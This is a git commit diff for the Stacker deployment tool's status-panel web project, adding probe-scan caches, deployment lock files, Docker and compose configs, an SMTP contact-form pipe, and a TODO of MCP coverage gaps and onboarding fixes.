.../pipes/status-panel-web-to-smtp-3.json | 98 ++++++++++++++++++ web/TODO.md | 75 ++++++++++++++ web/docker-compose.yml.bak | 15 +++ web/stacker.yml.bak | 84 +++++++++++++++ 23 files changed, 928 insertions(+), 1 deletion(-) create mode 100644 .stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json create mode 100644 .stacker/pipe-scan-cache/abbfec54b2192c37e34aa64d9bdd8488b78a69d94f6735b7a874423724673f44.json create mode 100644 .stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json create mode 100644 development.md.bak create mode 100644 web/.stacker/Dockerfile create mode 100644 web/.stacker/active-target create mode 100644 web/.stacker/deploy/production/config-bundle.manifest.json create mode 100644 web/.stacker/deploy/production/config-bundle.tar.zst create mode 100644 web/.stacker/deploy/production/docker-compose.remote.yml create mode 100644 web/.stacker/deployment-cloud.lock create mode 100644 web/.stacker/deployment-cloud.lock.back create mode 100644 web/.stacker/deployment-local.lock create mode 100644 web/.stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json create mode 100644 web/.stacker/pipe-scan-cache/93b072a1bd79a89f53adfb683923a455cb462df04e62db8c92bfdd7d53dc53b3.json create mode 100644 web/.stacker/pipe-scan-cache/fde369cb41907befb08176c9a38443049b23994e2c8a523c95f9a6ceb632840e.json create mode 100644 web/.stacker/pipe-scan-cache/latest-18c84187ae0a8a25aba883fba3f0136c2ca24a8f4a7b416c9628be021b93b7a3.json create mode 100644 web/.stacker/pipe-scan-cache/latest-b436c2a84c88a5d6edb9c31ced9c7eb8f3d5704623b89cfb49eb82069e81bd25.json create mode 100644 web/.stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json create mode 100644 web/.stacker/pipes/status-panel-web-to-smtp-3.json create mode 100644 web/TODO.md create mode 100644 web/docker-compose.yml.bak create mode 100644 web/stacker.yml.bak diff --git a/.stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json b/.stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json new file mode 100644 index 0000000..7deb31d --- /dev/null +++ b/.stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json @@ -0,0 +1,56 @@ +{ + "version": 1, + "selector": { + "mode": "remote", + "selector_kind": "app", + "selector": "status-panel-web", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "container": null + }, + "protocols_requested": [ + "html_forms" + ], + "capture_samples": true, + "cached_at": "2026-05-22T07:55:49.388248+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "app_code": "status-panel-web", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "html_forms" + ], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "project-status-panel-web-1", + "id": "form_contact", + "action": "", + "method": "POST", + "fields": [ + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "remote_app", + "selector": "status-panel-web", + "container": null, + "protocols": [ + "html_forms" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-22T07:55:48Z" + } +} \ No newline at end of file diff --git a/.stacker/pipe-scan-cache/abbfec54b2192c37e34aa64d9bdd8488b78a69d94f6735b7a874423724673f44.json b/.stacker/pipe-scan-cache/abbfec54b2192c37e34aa64d9bdd8488b78a69d94f6735b7a874423724673f44.json new file mode 100644 index 0000000..f3f9a79 --- /dev/null +++ b/.stacker/pipe-scan-cache/abbfec54b2192c37e34aa64d9bdd8488b78a69d94f6735b7a874423724673f44.json @@ -0,0 +1,62 @@ +{ + "version": 1, + "selector": { + "mode": "remote", + "selector_kind": "app", + "selector": "status-panel-web", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "container": null + }, + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "capture_samples": true, + "cached_at": "2026-05-22T07:55:51.452961+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "app_code": "status-panel-web", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "project-status-panel-web-1", + "id": "form_contact", + "action": "", + "method": "POST", + "fields": [ + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "remote_app", + "selector": "status-panel-web", + "container": null, + "protocols": [ + "html_forms", + "openapi", + "rest" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-22T07:55:50Z" + } +} \ No newline at end of file diff --git a/.stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json b/.stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json new file mode 100644 index 0000000..f3f9a79 --- /dev/null +++ b/.stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json @@ -0,0 +1,62 @@ +{ + "version": 1, + "selector": { + "mode": "remote", + "selector_kind": "app", + "selector": "status-panel-web", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "container": null + }, + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "capture_samples": true, + "cached_at": "2026-05-22T07:55:51.452961+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "app_code": "status-panel-web", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "project-status-panel-web-1", + "id": "form_contact", + "action": "", + "method": "POST", + "fields": [ + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "remote_app", + "selector": "status-panel-web", + "container": null, + "protocols": [ + "html_forms", + "openapi", + "rest" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-22T07:55:50Z" + } +} \ No newline at end of file diff --git a/development.md.bak b/development.md.bak new file mode 100644 index 0000000..76db356 --- /dev/null +++ b/development.md.bak @@ -0,0 +1,21 @@ +## Docker buildx quick reference + +Use this to publish the same multi-platform image variants that CI builds for the +`dev` branch: + +```bash +docker buildx build \ + --platform linux/amd64,linux/arm64 \ + --build-context stacker=../stacker \ + -f Dockerfile.prod \ + -t trydirect/status:unstable \ + -t trydirect/status:latest \ + --push \ + . +``` + +This requires a sibling checkout at `../stacker` because `Cargo.toml` includes +local path dependencies from that repository. + +If you only want to validate the multi-platform build locally without pushing, +replace `--push` with `--output=type=oci,dest=./status-multiarch.tar`. diff --git a/stacker/stacker/src/cli/stacker_client.rs b/stacker/stacker/src/cli/stacker_client.rs index 8359f8c..fa6c46e 100644 --- a/stacker/stacker/src/cli/stacker_client.rs +++ b/stacker/stacker/src/cli/stacker_client.rs @@ -25,7 +25,7 @@ pub const DEFAULT_STACKER_URL: &str = "https://stacker.try.direct"; /// The Install Service Ansible role uses this to configure the agent's VAULT_ADDRESS /// environment variable on the remote server. Must be a publicly reachable address /// (not a Docker-internal IP) so deployed agents can connect to Vault. -pub const DEFAULT_VAULT_URL: &str = "https://vault.try.direct"; +pub const DEFAULT_VAULT_URL: &str = "https://vault.try.direct:8443"; // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ // Response types (matching Stacker server JSON envelope) diff --git a/web/.stacker/Dockerfile b/web/.stacker/Dockerfile new file mode 100644 index 0000000..57986f9 --- /dev/null +++ b/web/.stacker/Dockerfile @@ -0,0 +1,15 @@ +FROM node:20-alpine + +WORKDIR /app + +ENV NEXT_TELEMETRY_DISABLED=1 + +COPY package*.json ./ +COPY . . + +RUN npm ci +RUN npm run build + +EXPOSE 3000 + +CMD ["npm", "run", "start"] diff --git a/web/.stacker/active-target b/web/.stacker/active-target new file mode 100644 index 0000000..ac2564f --- /dev/null +++ b/web/.stacker/active-target @@ -0,0 +1 @@ +cloud \ No newline at end of file diff --git a/web/.stacker/deploy/production/config-bundle.manifest.json b/web/.stacker/deploy/production/config-bundle.manifest.json new file mode 100644 index 0000000..43942e1 --- /dev/null +++ b/web/.stacker/deploy/production/config-bundle.manifest.json @@ -0,0 +1,13 @@ +{ + "version": 1, + "environment": "production", + "files": [ + { + "source_path": ".env", + "destination_path": ".env", + "mode": "0644", + "size": 215, + "sha256": "fac5fd4c950c34233bcf7d4ad1750539c2234290846630e4e6edd35029a44bc6" + } + ] +} \ No newline at end of file diff --git a/web/.stacker/deploy/production/config-bundle.tar.zst b/web/.stacker/deploy/production/config-bundle.tar.zst new file mode 100644 index 0000000000000000000000000000000000000000..b4c25b33de5a81a0c2138ca5b790deffebdbfe66 GIT binary patch literal 223 zcmV<503iP;wJ-euShWTK(u*l1Ag$&B8`N@Z;=I6*Hz}2%cd4zK$CrGq!g`N$7Q*8iYtJzd=R8bOOL+;g{#|4HM#xE5XrIod2df|n?ML{N#=TS~ zUDUSJj;tc3%Y&-z5aGM>=;1qqQQ*)&<|Oi=vyG*2qBc*bfiROD=Tg Z1e5^};4%Ueh^h&&Knt%HX^#K^ literal 0 HcmV?d00001 diff --git a/web/.stacker/deploy/production/docker-compose.remote.yml b/web/.stacker/deploy/production/docker-compose.remote.yml new file mode 100644 index 0000000..ea19548 --- /dev/null +++ b/web/.stacker/deploy/production/docker-compose.remote.yml @@ -0,0 +1,26 @@ +services: + status-panel-web: + build: + context: . + dockerfile: Dockerfile + image: trydirect/status-panel-web:latest + container_name: status-panel-web + ports: + - 3000:3000 + env_file: + - .env + environment: + NODE_ENV: production + NEXT_PUBLIC_SITE_URL: https://status.stacker.my + restart: unless-stopped + smtp: + image: trydirect/smtp + ports: + - 1025:1025 + - 8025:8025 + volumes: + - smtp_data:/data + restart: unless-stopped +volumes: + smtp_data: + name: smtp_data diff --git a/web/.stacker/deployment-cloud.lock b/web/.stacker/deployment-cloud.lock new file mode 100644 index 0000000..f9d1aa2 --- /dev/null +++ b/web/.stacker/deployment-cloud.lock @@ -0,0 +1,11 @@ +target: cloud +server_ip: null +ssh_user: null +ssh_port: 22 +server_name: web-3584 +deployment_id: 211 +project_id: 90 +cloud_id: 5 +project_name: web +stacker_email: info@optimum-web.com +deployed_at: 2026-05-25T14:54:33.996513+00:00 diff --git a/web/.stacker/deployment-cloud.lock.back b/web/.stacker/deployment-cloud.lock.back new file mode 100644 index 0000000..147f7cc --- /dev/null +++ b/web/.stacker/deployment-cloud.lock.back @@ -0,0 +1,11 @@ +target: cloud +server_ip: 178.105.162.176 +ssh_user: null +ssh_port: 22 +server_name: web-5e64 +deployment_id: 189 +project_id: 90 +cloud_id: 5 +project_name: web +stacker_email: info@optimum-web.com +deployed_at: 2026-05-20T10:11:51.770234+00:00 diff --git a/web/.stacker/deployment-local.lock b/web/.stacker/deployment-local.lock new file mode 100644 index 0000000..c71662c --- /dev/null +++ b/web/.stacker/deployment-local.lock @@ -0,0 +1,11 @@ +target: local +server_ip: 127.0.0.1 +ssh_user: null +ssh_port: null +server_name: null +deployment_id: null +project_id: null +cloud_id: null +project_name: null +stacker_email: null +deployed_at: 2026-05-21T17:19:08.163467+00:00 diff --git a/web/.stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json b/web/.stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json new file mode 100644 index 0000000..4b5e622 --- /dev/null +++ b/web/.stacker/pipe-scan-cache/018204ecd7ba2b8104c873d668248bd3ac6156202bebe6a8aa38fa20e656cd35.json @@ -0,0 +1,56 @@ +{ + "version": 1, + "selector": { + "mode": "remote", + "selector_kind": "app", + "selector": "status-panel-web", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "container": null + }, + "protocols_requested": [ + "html_forms" + ], + "capture_samples": true, + "cached_at": "2026-05-21T17:52:06.693176+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "app_code": "status-panel-web", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "html_forms" + ], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "project-status-panel-web-1", + "id": "form_contact", + "action": "", + "method": "POST", + "fields": [ + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "remote_app", + "selector": "status-panel-web", + "container": null, + "protocols": [ + "html_forms" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-21T17:52:06Z" + } +} \ No newline at end of file diff --git a/web/.stacker/pipe-scan-cache/93b072a1bd79a89f53adfb683923a455cb462df04e62db8c92bfdd7d53dc53b3.json b/web/.stacker/pipe-scan-cache/93b072a1bd79a89f53adfb683923a455cb462df04e62db8c92bfdd7d53dc53b3.json new file mode 100644 index 0000000..dabf80f --- /dev/null +++ b/web/.stacker/pipe-scan-cache/93b072a1bd79a89f53adfb683923a455cb462df04e62db8c92bfdd7d53dc53b3.json @@ -0,0 +1,47 @@ +{ + "version": 1, + "selector": { + "mode": "local", + "selector_kind": "containers", + "selector": "status-panel-web2", + "deployment_hash": null, + "container": null + }, + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "capture_samples": true, + "cached_at": "2026-05-22T09:21:38.787954+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "status-panel-web2", + "protocols_detected": [], + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [], + "probe_attempts": [ + { + "scope": "local_selector", + "selector": "status-panel-web2", + "container": null, + "protocols": [ + "html_forms", + "openapi", + "rest" + ], + "outcome": "empty" + } + ], + "target_kind": "unknown", + "probed_at": "2026-05-22T09:21:38.787581+00:00" + } +} \ No newline at end of file diff --git a/web/.stacker/pipe-scan-cache/fde369cb41907befb08176c9a38443049b23994e2c8a523c95f9a6ceb632840e.json b/web/.stacker/pipe-scan-cache/fde369cb41907befb08176c9a38443049b23994e2c8a523c95f9a6ceb632840e.json new file mode 100644 index 0000000..34fea0a --- /dev/null +++ b/web/.stacker/pipe-scan-cache/fde369cb41907befb08176c9a38443049b23994e2c8a523c95f9a6ceb632840e.json @@ -0,0 +1,80 @@ +{ + "version": 1, + "selector": { + "mode": "local", + "selector_kind": "containers", + "selector": "status-panel-web", + "deployment_hash": null, + "container": null + }, + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "capture_samples": true, + "cached_at": "2026-05-22T08:17:44.994249+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "status-panel-web", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "containers": [ + { + "name": "status-panel-web", + "image": "trydirect/status-panel-web:latest", + "network": "web_default", + "ports": [ + "3000->3000/tcp", + "3000/tcp" + ], + "addresses": [ + "172.20.0.3:3000", + "172.20.0.3:3000" + ] + } + ], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "status-panel-web", + "id": "status-panel-web/contact", + "action": "/contact", + "method": "POST", + "fields": [ + "$ACTION_REF_1", + "$ACTION_1:0", + "$ACTION_1:1", + "$ACTION_KEY", + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "local_container", + "selector": "status-panel-web", + "container": "status-panel-web", + "protocols": [ + "html_forms", + "openapi", + "rest" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-22T08:17:44.990008+00:00" + } +} \ No newline at end of file diff --git a/web/.stacker/pipe-scan-cache/latest-18c84187ae0a8a25aba883fba3f0136c2ca24a8f4a7b416c9628be021b93b7a3.json b/web/.stacker/pipe-scan-cache/latest-18c84187ae0a8a25aba883fba3f0136c2ca24a8f4a7b416c9628be021b93b7a3.json new file mode 100644 index 0000000..34fea0a --- /dev/null +++ b/web/.stacker/pipe-scan-cache/latest-18c84187ae0a8a25aba883fba3f0136c2ca24a8f4a7b416c9628be021b93b7a3.json @@ -0,0 +1,80 @@ +{ + "version": 1, + "selector": { + "mode": "local", + "selector_kind": "containers", + "selector": "status-panel-web", + "deployment_hash": null, + "container": null + }, + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "capture_samples": true, + "cached_at": "2026-05-22T08:17:44.994249+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "status-panel-web", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "containers": [ + { + "name": "status-panel-web", + "image": "trydirect/status-panel-web:latest", + "network": "web_default", + "ports": [ + "3000->3000/tcp", + "3000/tcp" + ], + "addresses": [ + "172.20.0.3:3000", + "172.20.0.3:3000" + ] + } + ], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "status-panel-web", + "id": "status-panel-web/contact", + "action": "/contact", + "method": "POST", + "fields": [ + "$ACTION_REF_1", + "$ACTION_1:0", + "$ACTION_1:1", + "$ACTION_KEY", + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "local_container", + "selector": "status-panel-web", + "container": "status-panel-web", + "protocols": [ + "html_forms", + "openapi", + "rest" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-22T08:17:44.990008+00:00" + } +} \ No newline at end of file diff --git a/web/.stacker/pipe-scan-cache/latest-b436c2a84c88a5d6edb9c31ced9c7eb8f3d5704623b89cfb49eb82069e81bd25.json b/web/.stacker/pipe-scan-cache/latest-b436c2a84c88a5d6edb9c31ced9c7eb8f3d5704623b89cfb49eb82069e81bd25.json new file mode 100644 index 0000000..dabf80f --- /dev/null +++ b/web/.stacker/pipe-scan-cache/latest-b436c2a84c88a5d6edb9c31ced9c7eb8f3d5704623b89cfb49eb82069e81bd25.json @@ -0,0 +1,47 @@ +{ + "version": 1, + "selector": { + "mode": "local", + "selector_kind": "containers", + "selector": "status-panel-web2", + "deployment_hash": null, + "container": null + }, + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "capture_samples": true, + "cached_at": "2026-05-22T09:21:38.787954+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "status-panel-web2", + "protocols_detected": [], + "protocols_requested": [ + "html_forms", + "openapi", + "rest" + ], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [], + "probe_attempts": [ + { + "scope": "local_selector", + "selector": "status-panel-web2", + "container": null, + "protocols": [ + "html_forms", + "openapi", + "rest" + ], + "outcome": "empty" + } + ], + "target_kind": "unknown", + "probed_at": "2026-05-22T09:21:38.787581+00:00" + } +} \ No newline at end of file diff --git a/web/.stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json b/web/.stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json new file mode 100644 index 0000000..4b5e622 --- /dev/null +++ b/web/.stacker/pipe-scan-cache/latest-c6a71384dbc47f68c3c3ef7bce255c99ef733b27339c9375cdbe499e3a0c8b7a.json @@ -0,0 +1,56 @@ +{ + "version": 1, + "selector": { + "mode": "remote", + "selector_kind": "app", + "selector": "status-panel-web", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "container": null + }, + "protocols_requested": [ + "html_forms" + ], + "capture_samples": true, + "cached_at": "2026-05-21T17:52:06.693176+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "deployment_a631cf66-a224-440b-9871-12b63548671c", + "app_code": "status-panel-web", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "html_forms" + ], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "project-status-panel-web-1", + "id": "form_contact", + "action": "", + "method": "POST", + "fields": [ + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "remote_app", + "selector": "status-panel-web", + "container": null, + "protocols": [ + "html_forms" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-21T17:52:06Z" + } +} \ No newline at end of file diff --git a/web/.stacker/pipes/status-panel-web-to-smtp-3.json b/web/.stacker/pipes/status-panel-web-to-smtp-3.json new file mode 100644 index 0000000..5e1212d --- /dev/null +++ b/web/.stacker/pipes/status-panel-web-to-smtp-3.json @@ -0,0 +1,98 @@ +{ + "schema_version": 1, + "id": "status-panel-web-to-smtp-3", + "name": "status-panel-web-to-smtp-3", + "created_at": "2026-05-22T09:24:50.473437+00:00", + "updated_at": "2026-05-23T10:51:20.716349+00:00", + "status": "active", + "source": { + "selector": "status-panel-web", + "container": "status-panel-web", + "method": "POST", + "path": "/contact", + "fields": [ + "$ACTION_REF_1", + "$ACTION_1:0", + "$ACTION_1:1", + "$ACTION_KEY", + "name", + "email", + "subject", + "message" + ] + }, + "target": { + "selector": "smtp", + "adapter": { + "code": "smtp", + "role": "target", + "config": { + "from": "info@stacker.my", + "host": "smtp", + "port": 25, + "tls": false, + "to": [ + "info@optimum-web.com" + ] + } + }, + "method": "SEND", + "path": "adapter:smtp", + "fields": [ + "from_email", + "reply_to_email", + "subject", + "body_text", + "body_html" + ] + }, + "template": { + "description": "POST /contact → SEND adapter:smtp", + "source_app_type": "status-panel-web", + "source_endpoint": { + "method": "POST", + "path": "/contact" + }, + "target_app_type": "smtp", + "target_endpoint": { + "adapter": "smtp", + "display_name": "SMTP target", + "mode": "adapter" + }, + "field_mapping": {}, + "config": { + "retry_count": 3 + }, + "is_public": false + }, + "instance": { + "source_container": "status-panel-web", + "target_adapter": { + "code": "smtp", + "role": "target", + "config": { + "from": "info@stacker.my", + "host": "smtp", + "port": 25, + "tls": false, + "to": [ + "info@optimum-web.com" + ] + } + }, + "trigger_count": 1, + "error_count": 11, + "last_triggered_at": "2026-05-22T10:16:28.090543+00:00" + }, + "promotion": { + "last_deployment_hash": "deployment_d6804c40-2ace-4dd5-bbfe-428cce3c50f8", + "remote_template_id": "a36e2837-ec76-4d5e-ba27-1f4736d4cc89", + "remote_instance_id": "4922167c-7cb7-45c1-9c2b-6207c936d9bc", + "promoted_at": "2026-05-23T10:51:20.716349+00:00" + }, + "diagnostics": { + "notes": [ + "source discovery: cached result (protocols: html_forms,openapi,rest, capture_samples: true)" + ] + } +} \ No newline at end of file diff --git a/web/TODO.md b/web/TODO.md new file mode 100644 index 0000000..3e4bf7b --- /dev/null +++ b/web/TODO.md @@ -0,0 +1,75 @@ +# TODO + +## MCP coverage gaps from the Status website scenario + +Use this table to complete MCP parity and then re-check the full onboarding +scenario end to end. + +| Scenario step | MCP coverage | +|---|---| +| `npm install`, `npm run build` | No - local workstation command, outside Stacker MCP | +| `docker build`, `docker run`, local health check | No - local Docker/runtime validation | +| `stacker login` | No - authentication/bootstrap flow, not an MCP tool | +| `stacker init` generating `stacker.yml` and `.stacker/Dockerfile` | No direct equivalent | +| `.env` bootstrap from `.env.example` | Gap - no MCP/local-bootstrap tool | +| `stacker config setup ai` | Gap - no MCP tool for local AI config setup | +| Parse/discover compose services | Yes - `discover_stack_services` | +| Create project/app records | Yes - `create_project`, `create_project_app` | +| Validate server-side stack config | Partial - `validate_stack_config`, but not the same as local `stacker config validate` | +| `stacker config fix`, `show`, `inventory`, `diff`, `check`, `promote` | Gap - no MCP parity for local config workflows | +| Deploy project/app | Yes - `start_deployment`, `initiate_deployment`, `deploy_app`, deployment plan tools | +| Paused deploy troubleshooting | Yes - `diagnose_deployment` now returns MCP tool sequence, safe AI context rules, and `stacker-cli` recovery commands | +| Agent status | Yes - `get_agent_status` | +| Logs/health/containers | Yes - `get_container_logs`, `get_container_health`, `list_containers` | +| Proxy/NPM setup | Yes - `configure_proxy`, `configure_proxy_agent`, `list_proxies`, `delete_proxy` | +| Remote service secrets | Yes - `list_remote_secret_targets`, `set_remote_service_secret`, and related remote secret tools | +| Private registry auth setup | Gap - no MCP/local workflow for deploy registry credentials | +| Cloud provider firewall commands | Partial/gap - MCP has target/server firewall tools, but not the same cloud-provider firewall list/add flow | +| `stacker agent install` / managed runtime refresh | Gap - no MCP tool found for agent install/refresh | +| Pipes | Gap - no MCP tools found for `pipe scan/create/activate/trigger/history` | + +## Follow-up MCP work + +1. Add a local/bootstrap MCP or companion workflow for `stacker init` parity. +2. Add MCP parity for local config workflows: inventory, diff, promote, check, + and local `stacker config validate`. +3. Add cloud-provider firewall MCP tools that match `stacker cloud firewall` + list/add behavior. +4. Add an agent install/refresh MCP tool for the Status Panel and managed + runtime features. +5. Add pipe management MCP tools for scan, create, activate, trigger, and + history. +6. Re-run the Status website onboarding story and update this table after each + gap is closed. + +## Stacker onboarding UX gaps found during the walkthrough + +These are places where the walkthrough required manual editing or manual +diagnosis that Stacker should handle directly. + +| Gap | Better Stacker behavior | +|---|---| +| Missing `.env` required by `docker-compose.yml` | `stacker init` or `stacker deploy` should detect `env_file: .env`, offer to create `.env` from `.env.example`, and apply safe permissions | +| `--key` / `--key-id` still entered the cloud-selection path when `deploy.cloud` was missing | CLI cloud overrides should populate cloud config in memory before any prompt or remote lookup | +| Generated config had nullable structural fields | `stacker init` should emit compact, validation-clean YAML by default | +| Existing config still has nullable structural fields | `stacker config fix` should remove null structural fields without hand-editing YAML | +| Private image registry auth required explanation | `stacker deploy` should detect likely private-image pull risk and prompt for registry auth source or show exact env/config options | +| AI configuration required manual YAML editing | Add `stacker config setup ai` or `stacker ai configure --provider ollama --endpoint ... --model ...` | +| User-facing API errors exposed raw route/body details | Hide endpoints and raw bodies by default; show details only with `DEBUG=true`, `STACKER_DEBUG=true`, or `RUST_LOG=debug` | + +## Completed Stacker fixes during this walkthrough + +| Fix | Status | +|---|---| +| Compact `stacker init` output for future generated configs | Implemented in Stacker repo by background agent | +| Debug-gated Stacker API route/body errors | Implemented in Stacker repo by background agent | +| Missing `.env` referenced by compose/config | Implemented in Stacker repo: deploy copies from `.env.example` with restrictive permissions or returns actionable guidance | +| `--key` / `--key-id` cloud deploy overrides | Implemented in Stacker repo: resolved through the logged-in Stacker API before prompt selection | +| Non-interactive cloud selection | Implemented in Stacker repo: skips hanging prompts and tells the user to pass `--key`, `--key-id`, or configure cloud defaults | +| Existing config with nullable structural fields | Implemented in Stacker repo: validation suggests `stacker config fix`; fix removes empty structural path fields | +| Private image registry auth guidance | Implemented in Stacker repo: deploy prints concise credential guidance when needed | +| AI configuration without manual YAML edits | Implemented in Stacker repo: `stacker config setup ai` | +| Hetzner location/datacenter mismatch during cloud provisioning | Implemented in Stacker repo: deploy preserves the requested size and normalizes Hetzner locations such as `nbg1` before publishing installer payloads | +| Remote `.env` path mismatch during cloud install | Implemented in Stacker repo: config bundles now keep compose file references project-relative so copied files and Docker Compose paths match | +| Remote `.env` not materialized by installer | Implemented in Stacker repo: deploy-time config files are mirrored into installer runtime-file metadata before deployment | +| Paused deployment recovery path was tribal knowledge | Documented in `docs/recover-paused-deployment.md`: inspect status, use backup SSH key, classify failure, apply temporary fixes, ask AI safely, and redeploy | diff --git a/web/docker-compose.yml.bak b/web/docker-compose.yml.bak new file mode 100644 index 0000000..26e2a39 --- /dev/null +++ b/web/docker-compose.yml.bak @@ -0,0 +1,15 @@ +services: + status-panel-web: + build: + context: . + dockerfile: Dockerfile + image: trydirect/status-panel-web:latest + container_name: status-panel-web + ports: + - "3000:3000" + env_file: + - .env + environment: + NODE_ENV: production + NEXT_PUBLIC_SITE_URL: https://status.stacker.my + restart: unless-stopped diff --git a/web/stacker.yml.bak b/web/stacker.yml.bak new file mode 100644 index 0000000..49a195f --- /dev/null +++ b/web/stacker.yml.bak @@ -0,0 +1,84 @@ +name: web +version: 0.1.0 +organization: null +project: + identity: web +app: + type: node + path: . + dockerfile: null + image: null + build: null + ports: [] + volumes: [] + environment: {} +services: +- name: status-panel-web + image: trydirect/status-panel-web:0.1.0 + ports: + - 3000:3000 + environment: + NEXT_PUBLIC_SITE_URL: https://status.stacker.my + NODE_ENV: production + volumes: [] + depends_on: [] +- name: smtp + image: trydirect/smtp + ports: + - 127.0.0.1:1025:25 + - 8025:8025 + environment: {} + volumes: + - smtp_data:/data + depends_on: [] +proxy: + type: nginx-proxy-manager + auto_detect: false + domains: + - domain: status.stacker.my + ssl: auto + upstream: status-panel-web:3000 + config: null +deploy: + target: cloud + environment: null + compose_file: docker-compose.yml + deployment_hash: null + cloud: + provider: hetzner + orchestrator: remote + region: nbg1 + size: cx23 + install_image: null + remote_payload_file: null + ssh_key: ~/.ssh/id_rsa + key: null + server: null + server: null + registry: null + default_target: null + targets: {} +environments: {} +ai: + enabled: true + provider: ollama + model: qwen2.5-coder + api_key: null + endpoint: http://192.168.100.245:11434 + timeout: 0 + tasks: + - compose + - troubleshoot + - security +monitoring: + status_panel: true + healthcheck: null + metrics: null +hooks: + pre_build: null + post_deploy: null + on_failure: null +env_file: null +env: {} +config_contract: + services: {} From 748804afa0e2a67c2f8d4620bd01a10e6acff082 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Wed, 1 Jul 2026 19:01:35 +0300 Subject: [PATCH 21/23] 